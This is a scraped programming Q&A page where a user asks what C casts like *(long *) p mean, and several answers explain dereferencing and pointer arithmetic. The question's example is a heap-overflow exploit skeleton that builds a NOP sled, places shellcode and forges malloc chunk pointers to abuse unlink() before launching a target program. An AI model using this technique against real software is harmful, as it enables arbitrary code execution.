开发者

Pointer to a casted Pointer?

开发者 https://www.devze.com 2022-12-14 07:04 出处:网络
I\'ve come across pointers to casted pointers (not sure that this is the correct term) in C such as: *(long *) p = 10; I could never for the life of me understand what it means, or, the other example

I've come across pointers to casted pointers (not sure that this is the correct term) in C such as:

*(long *) p = 10; I could never for the life of me understand what it means, or, the other example:

*(void *) NULL,开发者_StackOverflow社区 or *(char *) 0; I just can't wrap my head around it, could someone please explain this to me, and save me from partial brain damage? :)

Thanks

(P.S An example is shown below of such usage)

int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052);

    p = payload;
    memset(p, '\x90', 1052);

    /* Jump 12 ahead over the trashed word from unlink() */
    memcpy(p, "\xeb\x0c", 2);

    /* We put the shellcode safely away from the possibly corrupted area */
    p += 1020 - 64 - sizeof(shellcode);
    memcpy(p, shellcode, sizeof(shellcode) - 1);

    /* Set up the prev_size and overflow size fields */
    p += sizeof(shellcode) + 64 - 4;
    *(long *) p = -4;
    p += 4;
    *(long *) p = -16;

    /* Set up the fwd and bck of the fake chunk */
    p += 8;
    *(long *) p = RETLOC - 12;
    p += 4;
    *(long *) p = RETADDR;

    p += 4;
    *(p) = '\0';

    execl("./wilderness", "./wilderness", payload, NULL); }


First break up the statement:

  long *q = (long*)p;
  *q = 10;
  p += 4;

The p argument is of type char*, you can only read or write 1 byte at a time through that pointer. The cast to long* creates a pointer through which you can read or write 4 bytes at a time from/to the same address. The assignment writes the bytes 0x00, 0x00, 0x00, 0x0A. The same thing as:

  *p = 10;
  p++;
  *p = 0;
  p++;
  *p = 0;
  p++;
  *p = 0;

Depending on byte order. After the assignment, p needs to be incremented by 4 because 4 bytes were written.

This trick is pretty common with buffers of bytes that contain non-byte data.


*(long *) p = -4;

Means: p is a "pointer to a long" and I am trying to assign the value to the memory referenced there. We do this because initially we said p was a char pointer, and we want to change its behavior when accessed.


Putting the * before the (long *) is called "dereferencing" the pointer. It means, as @GrayWizardx says, that you're modifying the value in memory pointed to by the pointer.


codepad.org/iz2TSDfa

This code writes four bytes of data to address zero in memory. It is not common or accepted practice, and is not applicable on a general basis. In other words: black magic.

I am guessing it triggers some sort of processor interrupt.

I advise you learn assembly/the computer architecture this code targets if you want to understand it.


The first star is actually dereferencing the casted pointer. Thus, *(long *) p = 10 means cast p to a pointer to long and assign -4 to the dereferenced location. Compare your examples to *p =10 .


Its the pointer arithmetic, based on the pointer type i.e. whether its char* cPtr or int* nPtr, when you increment cPtr++ will move one byte and nPtr++ would move 4 bytes (assumimg char takes one byte and int takes 4 bytes).


You may have an easier time when you understand the motivation behind your example code.

The code is manipulating 4-byte values, which is why p is being cast as a long *. The construct * (long *) p = -4; allows you to set 4 bytes to 0xFFFFFFFC with a single assignment. If you left p as a char * you'd need four separate assignments, and you'd also need to worry about the endianness of your platform.

So why not simply declare p as a long * in the first place? Because the code is using pointer arithmetic to calculate the target addresses: p += sizeof(shellcode) + 64 - 4; Pointer arithmetic is easy with a char * because adding 1 to the pointer will advance it to the next byte, just as you would expect. Not so with pointers to other data types! If p were declared as long *p; then p += 4 adds 4 * sizeof(long) to p.

Why? Because this makes it easy to traverse a list of long variables:

long sum_of_longs(long vals[], int num)  { // 'vals[]' contains 'num' long ints.
   long *p;                                // This pointer traverses the array.
   long sum;                               // Running total.

   // Initialize 'p' to the first number in 'vals[]' and
   // increment through the array until 'num' reaches 0.
   //
   // Note that 'p' increases by 4 bytes each time in order
   // to advance to the next long.
   for (sum=0, p=vals;  num > 0;  p++, num--)
      sum += *p;

   return sum;
}

So, in your example, defining p as a char * makes it easy to do the pointer arithmetic in terms of bytes, and casting it to a long * makes the assignments easier.

0

精彩评论

暂无评论...
验证码 换一张
取 消

关注公众号